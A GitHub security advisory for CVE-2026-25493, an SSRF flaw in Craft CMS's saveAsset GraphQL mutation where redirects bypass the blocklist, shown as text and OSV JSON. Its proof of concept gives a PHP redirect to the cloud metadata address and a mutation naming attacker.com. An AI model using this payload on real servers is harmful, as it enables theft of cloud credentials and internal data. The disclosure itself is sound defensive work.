GHSA-8JR8-7HR4-VHFX

Vulnerability from github – Published: 2026-02-09 20:35 – Updated: 2026-02-09 22:38
VLAI
Summary
Craft CMS Vulnerable to SSRF in GraphQL Asset Mutation via HTTP Redirect
Details

Summary

The saveAsset GraphQL mutation validates the initial URL hostname and resolved IP against a blocklist, but Guzzle follows HTTP redirects by default. An attacker can bypass all SSRF protections by hosting a redirect that points to cloud metadata endpoints or any internal IP addresses.

Proof of Concept

  1. Host a redirect script on your server (e.g. redirect.php):
<?php header("Location: http://169.254.169.254/latest/meta-data/"); ?>
  1. Send the following GraphQL mutation:
mutation {
    save_images_Asset(_file: { 
        url: "https://attacker.com/redirect.php"
        filename: "metadata.txt"
    }) {
        id
    }
}
  1. The application validates attacker.com (passes)
  2. Guzzle follows the redirect to 169.254.169.254
  3. Cloud metadata is saved as an asset

Mitigation

  • Disable redirects.
Severity
6.9 (Medium)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N
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{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 5.8.21"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "craftcms/cms"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "5.0.0-RC1"
            },
            {
              "fixed": "5.8.22"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.16.17"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "craftcms/cms"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.0.0-RC1"
            },
            {
              "fixed": "4.16.18"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-25493"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-02-09T20:35:30Z",
    "nvd_published_at": "2026-02-09T20:15:57Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\nThe `saveAsset` GraphQL mutation validates the initial URL hostname and resolved IP against a blocklist, but Guzzle follows HTTP redirects by default. An attacker can bypass all SSRF protections by hosting a redirect that points to cloud metadata endpoints or any internal IP addresses.\n\n---\n## Proof of Concept\n1. Host a redirect script on your server (e.g. `redirect.php`):\n```php\n\u003c?php header(\"Location: http://169.254.169.254/latest/meta-data/\"); ?\u003e\n```\n2. Send the following GraphQL mutation:\n```graphql\nmutation {\n    save_images_Asset(_file: { \n        url: \"https://attacker.com/redirect.php\"\n        filename: \"metadata.txt\"\n    }) {\n        id\n    }\n}\n```\n3. The application validates `attacker.com` (passes)\n4. Guzzle follows the redirect to `169.254.169.254`\n5. Cloud metadata is saved as an asset\n\n---\n## Mitigation\n- Disable redirects.",
  "id": "GHSA-8jr8-7hr4-vhfx",
  "modified": "2026-02-09T22:38:33Z",
  "published": "2026-02-09T20:35:30Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/craftcms/cms/security/advisories/GHSA-8jr8-7hr4-vhfx"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25493"
    },
    {
      "type": "WEB",
      "url": "https://github.com/craftcms/cms/commit/0974055634af68998f67850ab2045d8aaa19fa98"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/craftcms/cms"
    },
    {
      "type": "WEB",
      "url": "https://github.com/craftcms/cms/releases/tag/4.16.18"
    },
    {
      "type": "WEB",
      "url": "https://github.com/craftcms/cms/releases/tag/5.8.22"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Craft CMS Vulnerable to SSRF in GraphQL Asset Mutation via HTTP Redirect"
}



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